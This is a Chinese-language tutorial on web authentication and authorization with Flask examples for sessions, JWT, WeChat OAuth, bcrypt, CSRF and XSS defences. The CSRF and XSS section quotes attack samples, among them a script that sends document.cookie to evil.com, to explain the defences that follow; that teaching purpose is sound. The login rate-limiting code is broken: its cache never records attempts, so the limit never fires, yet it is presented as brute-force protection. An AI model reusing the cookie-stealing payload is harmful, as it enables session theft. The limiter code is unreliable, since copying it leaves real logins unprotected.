认证与授权体系

  用户请求 → 认证 (你是谁？) → 授权 (你能做吗？) → 执行业务逻辑
           ↓                        ↓
      验证身份               检查权限
      (Token 有效？)         (有 delete 权限？)
  

  GET /api/user/profile HTTP/1.1
Host: example.com
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
                      (base64("username:password"))
  

  1. 用户登录 (POST /login)
   → 服务器验证用户名密码
   → 创建 Session（在服务器内存或 Redis）
   → 返回 Set-Cookie: session_id=abc123

2. 后续请求
   → 浏览器自动带上 Cookie: session_id=abc123
   → 服务器根据 session_id 查找 Session
   → 找到就认为"你是你"
  

  # 后端 (Python Flask)
from flask import session, request

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    # 验证用户名密码
    user = db.authenticate(username, password)
    if user:
        # 创建 Session
        session["user_id"] = user.id
        session["role"] = user.role
        return {"status": "success"}
    else:
        return {"error": "用户名或密码错误"}, 401

@app.route("/api/admin/users")
def get_users():
    # 检查 Session
    if "user_id" not in session:
        return {"error": "未登录"}, 401

    # 检查权限
    if session.get("role") != "admin":
        return {"error": "权限不足"}, 403

    # 执行业务逻辑
    users = db.get_all_users()
    return {"users": users}
  

  JWT = Header.Payload.Signature

例子:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiIsImV4cCI6MTYxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
 |--------------------------------| |-----------------------------------------------| |----------------------------|
           Header                           Payload                                      Signature
  

  # 1. 用户登录
@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    user = db.authenticate(username, password)
    if user:
        # 生成 JWT
        token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "exp": datetime.now() + timedelta(hours=24)  # 24 小时过期
            },
            SECRET_KEY,
            algorithm="HS256"
        )
        return {"token": token}
    else:
        return {"error": "用户名或密码错误"}, 401

# 2. 后续请求
@app.route("/api/admin/users")
def get_users():
    # 从 Header 获取 Token
    auth_header = request.headers.get("Authorization")
    if not auth_header or not auth_header.startswith("Bearer "):
        return {"error": "未提供 Token"}, 401

    token = auth_header.split(" ")[1]

    try:
        # 验证并解析 Token
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    except jwt.ExpiredSignatureError:
        return {"error": "Token 已过期"}, 401
    except jwt.InvalidTokenError:
        return {"error": "Token 无效"}, 401

    # 检查权限
    if payload.get("role") != "admin":
        return {"error": "权限不足"}, 403

    # 执行业务逻辑
    users = db.get_all_users()
    return {"users": users}
  

  1. 用户点击"使用微信登录"
   → 跳转到微信授权页面
   https://open.weixin.qq.com/connect/qrconnect?
     appid=APPID&
     redirect_uri=https://yourapp.com/callback&
     response_type=code&
     scope=snsapi_login&
     state=STATE

2. 用户扫码并同意授权
   → 微信重定向回你的网站
   https://yourapp.com/callback?code=AUTHORIZATION_CODE&state=STATE

3. 你的后端用 code 换取 access_token
   POST https://api.weixin.qq.com/sns/oauth2/access_token
   {
     "appid": "APPID",
     "secret": "SECRET",
     "code": "AUTHORIZATION_CODE",
     "grant_type": "authorization_code"
   }
   → 返回: { "access_token": "...", "openid": "..." }

4. 用 access_token 获取用户信息
   GET https://api.weixin.qq.com/sns/userinfo?
     access_token=ACCESS_TOKEN&
     openid=OPENID
   → 返回: { "nickname": "张三", "headimgurl": "..." }
  

  from flask import request, redirect

@app.route("/login/wechat")
def login_wechat():
    # 1. 重定向到微信授权页面
    auth_url = (
        "https://open.weixin.qq.com/connect/qrconnect"
        f"?appid={APPID}"
        f"&redirect_uri={urlencode(REDIRECT_URI)}"
        "&response_type=code"
        "&scope=snsapi_login"
        f"&state={generate_state()}"
    )
    return redirect(auth_url)

@app.route("/callback")
def wechat_callback():
    # 2. 获取 code
    code = request.args.get("code")
    state = request.args.get("state")

    # 验证 state（防 CSRF）
    if not verify_state(state):
        return {"error": "Invalid state"}, 400

    # 3. 用 code 换取 access_token
    token_resp = requests.post(
        "https://api.weixin.qq.com/sns/oauth2/access_token",
        params={
            "appid": APPID,
            "secret": SECRET,
            "code": code,
            "grant_type": "authorization_code"
        }
    ).json()

    access_token = token_resp["access_token"]
    openid = token_resp["openid"]

    # 4. 获取用户信息
    user_info = requests.get(
        "https://api.weixin.qq.com/sns/userinfo",
        params={
            "access_token": access_token,
            "openid": openid
        }
    ).json()

    # 5. 本地创建或更新用户
    user = db.get_or_create_user(
        openid=openid,
        nickname=user_info["nickname"],
        avatar=user_info["headimgurl"]
    )

    # 6. 生成本系统的 JWT
    token = jwt.encode(
        {"user_id": user.id, "exp": ...},
        SECRET_KEY
    )

    return {"token": token}
  

  ┌─────────────┐
│   客户端     │
└──────┬──────┘
       │
       ▼
┌─────────────────────────────────┐
│         API Gateway             │
│  - Rate Limiting (限流)          │
│  - Token Validation (校验)       │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│      Auth Service (鉴权服务)     │
│  - 注册、登录                    │
│  - Token 签发与验证              │
│  - OAuth 2.0 集成                │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│    Business Services             │
│  - User Service                  │
│  - Order Service                 │
│  - Payment Service               │
└─────────────────────────────────┘
  

  -- 用户表
CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,  -- bcrypt 哈希
    email VARCHAR(100) UNIQUE,
    role ENUM('user', 'vip', 'admin') DEFAULT 'user',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_username (username),
    INDEX idx_email (email)
);

-- 第三方登录绑定表
CREATE TABLE user_auth_providers (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    user_id BIGINT NOT NULL,
    provider ENUM('wechat', 'google', 'github') NOT NULL,
    provider_user_id VARCHAR(100) NOT NULL,  -- 第三方的用户 ID
    access_token TEXT,  -- 加密存储
    refresh_token TEXT,
    expires_at TIMESTAMP,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    UNIQUE KEY uk_provider_provider_user_id (provider, provider_user_id),
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- Token 黑名单（用于主动注销）
CREATE TABLE token_blacklist (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    token_jti VARCHAR(100) UNIQUE NOT NULL,  -- JWT 的 JTI (唯一标识)
    expired_at TIMESTAMP NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_expired_at (expired_at)
);
  

  # auth_service.py
import bcrypt
import jwt
from datetime import datetime, timedelta

SECRET_KEY = "your-secret-key-here"  # 生产环境用环境变量

class AuthService:
    def register(self, username: str, password: str, email: str = None):
        # 1. 检查用户名是否存在
        if db.get_user_by_username(username):
            raise ValueError("用户名已存在")

        # 2. 哈希密码（bcrypt）
        password_hash = bcrypt.hashpw(
            password.encode('utf-8'),
            bcrypt.gensalt(rounds=12)
        ).decode('utf-8')

        # 3. 创建用户
        user = db.create_user(
            username=username,
            password_hash=password_hash,
            email=email
        )

        # 4. 签发 Token
        return self._generate_tokens(user)

    def login(self, username: str, password: str):
        # 1. 查询用户
        user = db.get_user_by_username(username)
        if not user:
            raise ValueError("用户名或密码错误")

        # 2. 验证密码
        if not bcrypt.checkpw(
            password.encode('utf-8'),
            user.password_hash.encode('utf-8')
        ):
            raise ValueError("用户名或密码错误")

        # 3. 签发 Token
        return self._generate_tokens(user)

    def _generate_tokens(self, user):
        now = datetime.now()

        # Access Token (短期，如 1 小时)
        access_token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "type": "access",
                "iat": now,
                "exp": now + timedelta(hours=1),
                "jti": str(uuid4())  # 唯一标识
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        # Refresh Token (长期，如 30 天)
        refresh_token = jwt.encode(
            {
                "user_id": user.id,
                "type": "refresh",
                "iat": now,
                "exp": now + timedelta(days=30),
                "jti": str(uuid4())
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        return {
            "access_token": access_token,
            "refresh_token": refresh_token,
            "token_type": "Bearer",
            "expires_in": 3600  # access_token 过期时间（秒）
        }

    def refresh(self, refresh_token: str):
        try:
            payload = jwt.decode(refresh_token, SECRET_KEY, algorithms=["HS256"])
            if payload.get("type") != "refresh":
                raise ValueError("Invalid token type")

            user = db.get_user_by_id(payload["user_id"])
            return self._generate_tokens(user)
        except jwt.ExpiredSignatureError:
            raise ValueError("Refresh token 已过期")
        except jwt.InvalidTokenError:
            raise ValueError("Refresh token 无效")

    def logout(self, token: str):
        # 将 Token 加入黑名单
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        db.add_to_blacklist(
            jti=payload["jti"],
            expired_at=datetime.fromtimestamp(payload["exp"])
        )

    def verify_token(self, token: str):
        try:
            payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])

            # 检查是否在黑名单中
            if db.is_token_blacklisted(payload["jti"]):
                raise ValueError("Token 已注销")

            return payload
        except jwt.ExpiredSignatureError:
            raise ValueError("Token 已过期")
        except jwt.InvalidTokenError:
            raise ValueError("Token 无效")

# API 装饰器
def require_auth(auth_service: AuthService):
    def decorator(f):
        def wrapper(*args, **kwargs):
            # 从 Header 获取 Token
            auth_header = request.headers.get("Authorization")
            if not auth_header or not auth_header.startswith("Bearer "):
                return {"error": "未提供 Token"}, 401

            token = auth_header.split(" ")[1]

            try:
                # 验证 Token
                payload = auth_service.verify_token(token)
                # 将用户信息注入到请求上下文
                request.user = payload
                return f(*args, **kwargs)
            except ValueError as e:
                return {"error": str(e)}, 401

        return wrapper
    return decorator

def require_role(*roles):
    def decorator(f):
        def wrapper(*args, **kwargs):
            if not hasattr(request, "user"):
                return {"error": "未登录"}, 401

            if request.user["role"] not in roles:
                return {"error": "权限不足"}, 403

            return f(*args, **kwargs)
        return wrapper
    return decorator

# 使用示例
@app.route("/api/admin/users", methods=["GET"])
@require_auth(auth_service)
@require_role("admin")
def get_users():
    users = db.get_all_users()
    return {"users": users}

@app.route("/api/user/profile", methods=["GET"])
@require_auth(auth_service)
def get_profile():
    user = db.get_user_by_id(request.user["user_id"])
    return {"user": user}

@app.route("/auth/refresh", methods=["POST"])
def refresh_token():
    refresh_token = request.json.get("refresh_token")
    try:
        tokens = auth_service.refresh(refresh_token)
        return tokens
    except ValueError as e:
        return {"error": str(e)}, 401
  

  # 明文存储（绝对不行！）
db.save_password(username, password)

# MD5 / SHA1 哈希（不够安全，容易被彩虹表破解）
hash = md5(password)
db.save_password(username, hash)
  

  # bcrypt（自适应哈希，慢哈希防暴力破解）
import bcrypt

password_hash = bcrypt.hashpw(
    password.encode('utf-8'),
    bcrypt.gensalt(rounds=12)  # rounds 越大越安全，但也越慢
)

# 验证
if bcrypt.checkpw(password.encode('utf-8'), password_hash):
    # 密码正确
  

  from functools import lru_cache
import time

@lru_cache(maxsize=10000)
def get_login_attempts(identifier: str) -> tuple:
    """返回 (尝试次数, 第一次尝试时间)"""
    return (0, 0)

def check_rate_limit(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    now = time.time()

    # 1 分钟内清零
    if now - first_attempt > 60:
        get_login_attempts.cache_clear()
        return True

    # 超过 5 次，拒绝
    if attempts >= 5:
        return False

    return True

def record_login_attempt(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    if attempts == 0:
        first_attempt = time.time()
    get_login_attempts.cache_clear()
    get_login_attempts(identifier)  # 重新缓存

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]

    # 检查限流
    if not check_rate_limit(username):
        return {"error": "尝试次数过多，请 1 分钟后再试"}, 429

    password = request.json["password"]

    # 验证密码
    user = db.get_user_by_username(username)
    if user and bcrypt.checkpw(password.encode(), user.password_hash.encode()):
        # 登录成功，清空计数
        get_login_attempts.cache_clear()
        return {"token": generate_token(user)}
    else:
        # 登录失败，记录
        record_login_attempt(username)
        return {"error": "用户名或密码错误"}, 401
  

  <img src="https://bank.com/api/transfer?to=attacker&amount=10000" />
  

  from flask import session

@app.route("/api/transfer", methods=["POST"])
def transfer():
    # 验证 CSRF Token
    token = request.headers.get("X-CSRF-Token")
    if token != session.get("csrf_token"):
        return {"error": "CSRF Token 无效"}, 403

    # 执行转账
    ...
  

  # Flask 示例
app.config.update(
    SESSION_COOKIE_SAMESITE='Lax',  # 或 'Strict'
    SESSION_COOKIE_SECURE=True      # 只允许 HTTPS
)
  

  <script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
  

  import html

def render_comment(comment):
    # 转义 HTML
    safe_comment = html.escape(comment)
    return f"<div class='comment'>{safe_comment}</div>"
  

  Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
  

  app.config.update(
    SESSION_COOKIE_HTTPONLY=True
)